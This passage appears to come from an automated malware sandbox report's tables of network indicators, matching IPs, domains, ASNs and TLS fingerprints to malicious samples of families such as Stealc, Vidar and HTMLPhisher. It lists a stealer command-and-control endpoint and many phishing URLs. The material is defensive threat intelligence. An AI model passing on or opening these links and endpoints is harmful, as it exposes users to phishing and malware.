vqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqG	Get hash	malicious	Unknown	Browse
13.89.179.13	Axactor Microsoft - Introduksjonsm#U00f8te.msg	Get hash	malicious	EvilProxy	Browse
	https://www.google.co.za/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp/s%2Furl.za.m.mimecastprotect.com/s/BjZHCy856GFEJl8cZf1CxlF3B	Get hash	malicious	Unknown	Browse
	payment.eml	Get hash	malicious	HTMLPhisher	Browse
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse
	All-in-one Calculation Tool.xlsm	Get hash	malicious	Unknown	Browse
	Recent_Changes_in_our_Benefits_Policy.zip	Get hash	malicious	Unknown	Browse
	Factura.pdf	Get hash	malicious	Unknown	Browse
	https://forms.office.com/r/qq9c20HBqa	Get hash	malicious	Tycoon2FA	Browse
	https://ridgecomm-my.sharepoint.com/:f:/g/personal/mike_dickson_ridgecommunicate_com/EoIXqm_rhmNPgUmdh9oGxVYBOC8z-wLp52vmISycophX2A?e=pxBR5z	Get hash	malicious	HTMLPhisher	Browse
	https://code.jquery.com/jquery-3.6.0.min.js	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mira-tmc.tm-4.office.com	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	52.123.243.192
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	52.123.243.76
	Baylor financial-RemittanceSeptember 26, 2024_-YTRKOKQTQALJDQKMPCNJ.xlsx	Get hash	malicious	Unknown	Browse	52.123.250.22
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	52.123.243.75
	http://links.notification.intuit.com/ls/click?upn=u001.SkyGoo-2FemZT6Xc-2Fn1lGbnolA50y-2BF9TWqkK0lI1Lm8fNvXP5-2FxDdNExe3CY544wPZVOkx-2Bsb4ktfZUcbQ6XLB20HmfCeoj1T2aelwaQzxGxMnTNFli2-2BrNhm0JvsfNUOIIJqYRWJxaQsuLVs5VCMhffG2lTRKD2VHPufoX4krOa6H9u-2BswQJugvBxenvDm6ryxsAgdom2ZlsPly8gQHTmmGA0e4JqVxBlbpwxEjAi46yNObb7Zpazasei6XkORobIapekQPzXsJ71T45LzvqAQ-3D-3DMkNx_Lz1KNxRQ-2BhpMzFq-2FlH4AKqCRJ4ktuz3qvKgyeRYtJ6yBmvmV-2BZ0U24UegXC0XfOyUEuTSkfSENCnOCwyzKwb0kCHFHFDdnv66AioaHwaO4s5rMAlYpznEILF09jWXOudalvyYlmropwA3gdFfxAbaRZDEWRi21-2B70QtYNIScTeI0VayDvzVjeJlwn1-2BgbfvfBzeS1tuo-2FenkBe8eF-2BE3by5QpSxtITlNfoAVUGXsNlvTZEQM3-2FYR74YwecI-2FDKeE16lgq90rXZHKzunPdGoBerI70g-2FBqptLiyOyE-2BjCDf-2BkiKX4kVfVJC0jehjgxJnWOuKV5vP7P57-2BifRsX4zK95A4kvk3SYQ6b6cBZNhso9U5EX05JF2ZMO3czWZWv9sDz7cz-2FQ-2BVd5yL93eWEITfWo-2FcKvVxsZFCyEEG25yQibnuTqOa6boJpfshWWoiuqSOjthWaNm73jLAWM01JvRU3-2BQ4pk5wG0BCar-2FLcZwCjX-2BQn3saiabdI-2B-2FpPD1zVdQBWYb4ug15lEZ44lMLNBo0Jyoz75uQt-2FGrnRxwx9TJ8t-2Bfn4E8-2BAoPseLpJAVO8o49MEncOq1StLSHHC1MAw6zRNG45dedXm3OTP1oMH1yL0wNogEHoy83st8BzmWmPtNVl3lCzNpI3ps0iYjiS3p9EyxZeHwUYt5rTmsDfr8BPbnvpdb-2BbFkKCLzSN8dJ0oJUylT3TG2600-2BJVSVoJ0n8Dh2HPy-2FbmSgo2WTF5sYH3X9I0Xw8cz6y6aJOTqGp-2F8gdcIuajXkdGUVLC7xQIAV-2FHfoaAzs6NiCMNVeu61LHb-2FdHDydfIMNNQl0qqNVH-2FsILPCgGi7lecZqIT05DXyjrDlEBb3M-2FYGecxFad-2B-2Bux-2FYfoZSDqRSTBC7tQlTtmhsrKVuhy5IpooyvRdlAIWsplAGkVrtjxeJxZ1BZtYqsjENuZgxV5ITi-2BDITOKOpzjiQVV1PuKLkJ-2FIO1B8tO-2BPJ-2Fq54rq0tRq-2BwJ4fsF1jVdeaFC1497rVvFDh00yQOS2vcufkimi10b9eiGGETxWcJ9KUizGHD3uKz5j1WS3wYolTj-2FCGvMysBKRIZ3wqF2ljBUFUirmjyYn2QRBx3sk48bwyql-2B9PQYdne7I-2BMy5atnpZhpFdqUjfYzZ8IAOgg7I-2Fo6-2Brz3WkLf6XgODSEUk1OLNPig9Kah4cP3gw0Zhr5zGY3R1DH-2BQGVeCOHueYWakCXQAj5ydgjlsgEph06b7KUe7Hy1yhcJWj1MnXaP95wGgDhjTVicETnW4s4dmlVmXxp8nWlwEIQvqPQFLoEt2iD1iqu5XecItXuXHzvq2q8I0jE6VYRiE9dNC-2BDlydu4ntCGg5L2qm4s8Kr6DyKcI5wRI-2FEHqQLMBGewDuGPwZ6-2FHohbLDaRkaInJxDGA50w2P1P3Et8px7m0XPOoDT9D5IWzO9-2BKgvkbtnlO4hdyGU4xGccrZlr5u1q2Jc9jjAxxa9HJiA-2BbjeyvY2lqShkOe5vnvBxafBYgqUYAnXRpwgIBg-3D	Get hash	malicious	Unknown	Browse	52.123.250.26
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	setup.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://2007.filemail.com/api/file/get?filekey=58mKUrTMdlmzqkRvo0UdVa2TMjJTCQiSNv5rUBtsDQTNU0dM4JzppUJaOrP_mWxCym0k9l5xEDeaXunPsHq6frY8XZH_gnclw86MefA3bpAlGuDkr77-xSqrMOQIlMdW5cRjwoOSCWIlTwpC48cNKMMHhMKp&track=P8fpm4ry&pk_vid=8a8b18f03738ae4f17297703684d559d	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.64.41.3
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	setup.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	94.245.104.56
	test.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	VlmNuDYKAv.exe	Get hash	malicious	Amadey, Stealc	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.69.15
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.32.99.90
	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.122
	https://us-west-2.protection.sophos.com/?d=site.pro&u=aHR0cHM6Ly9jbGF1ZGlha3J1ZWdlci5zaXRlLnByby8=&i=NThlN2NjYzYyOTljZjkxNGY4YmM1Njkz&t=QTRyTlRXbysvd3IyNERLT1pJYVNuNlAvU0FLMVAyb2pCN053UGFJSWtBST0=&h=dd65eaa7298b4ffebbd13b01dcbd3434&s=AVNPUEhUT0NFTkNSWVBUSVYfWTd0VrJEAZ1PFPx8UNdDDkWk4HVuGeVZrBnJzV7Ifg	Get hash	malicious	Unknown	Browse	18.244.18.122
	http://google.com	Get hash	malicious	Unknown	Browse	18.244.18.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	23.215.17.144
	http://shoutout.wix.com	Get hash	malicious	Unknown	Browse	2.16.164.91
	Scan_1626227.pdf	Get hash	malicious	HTMLPhisher	Browse	2.16.168.7
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	SetupRST.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.197
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.155
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	HTMLPhisher	Browse	2.16.164.19
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.171
AKAMAI-ASUS	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	2.19.126.151
	Scan_1626227.pdf	Get hash	malicious	HTMLPhisher	Browse	184.28.88.176
	Redbrick Communications (RFP) ID#19994.pdf	Get hash	malicious	Unknown	Browse	173.223.200.143
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.50.164
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	HTMLPhisher	Browse	23.38.98.101
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.50.150
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	95.100.54.149
	nabarm5.elf	Get hash	malicious	Unknown	Browse	184.30.186.248
	nklm68k.elf	Get hash	malicious	Unknown	Browse	23.204.223.248
	nabsh4.elf	Get hash	malicious	Unknown	Browse	104.79.63.199
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://1drv.ms/o/s!BOd5RNxFaxkGg1r5bc30bgQWmkNc?e=J67qxK-KfEurqpMk0dasTw&at=9	Get hash	malicious	Unknown	Browse	13.107.42.12
	http://shoutout.wix.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	Scan_1626227.pdf	Get hash	malicious	HTMLPhisher	Browse	52.98.178.242
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	52.108.11.12
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://1drv.ms/o/s!BOd5RNxFaxkGg1r5bc30bgQWmkNc?e=J67qxK-KfEurqpMk0dasTw&at=9	Get hash	malicious	Unknown	Browse	13.107.42.12
	http://shoutout.wix.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	Scan_1626227.pdf	Get hash	malicious	HTMLPhisher	Browse	52.98.178.242
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	52.108.11.12
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	http://browserupdater.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	23.1.237.91
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	23.1.237.91
	Bill Payment__8084746.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://ERICADLERCLOTHING.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://23.245.109.208.host.secureserver.net/E5V7V5K0D7J7U1G8T1M8U3B4G7B4C0&c=E,1,2fln-18Rcg-_y13WFwFZvQn3f1CXlYk0J_eiM8RKZuA6Djx49SsFA5in1hnyQJXLjWW1L6y7WaZ9eFSqcAvQerMcOF3C93rx-F5tfSihNA,,&typo=1	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://8i.eryonficket.com/g60ff/#aGVzc2dyb3VwaW52QGhlc3MuY29t	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	https://1drv.ms/o/s!BOd5RNxFaxkGg1r5bc30bgQWmkNc?e=J67qxK-KfEurqpMk0dasTw&at=9	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	https://docs.google.com/drawings/d/1O7L6jnunpKYYRy1ZXX5DN4ENeZ4pxxWF8BG0mcDdFi0/preview?pli=1ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVe	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	renier_visser-In Employee -11384.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	http://demettei.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	https://docs.google.com/drawings/d/1JRNFh_1Cbzym_iLfw5aw8-eo7G0EKRf1L0-MpuWvb2k/preview?pli=1MiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvq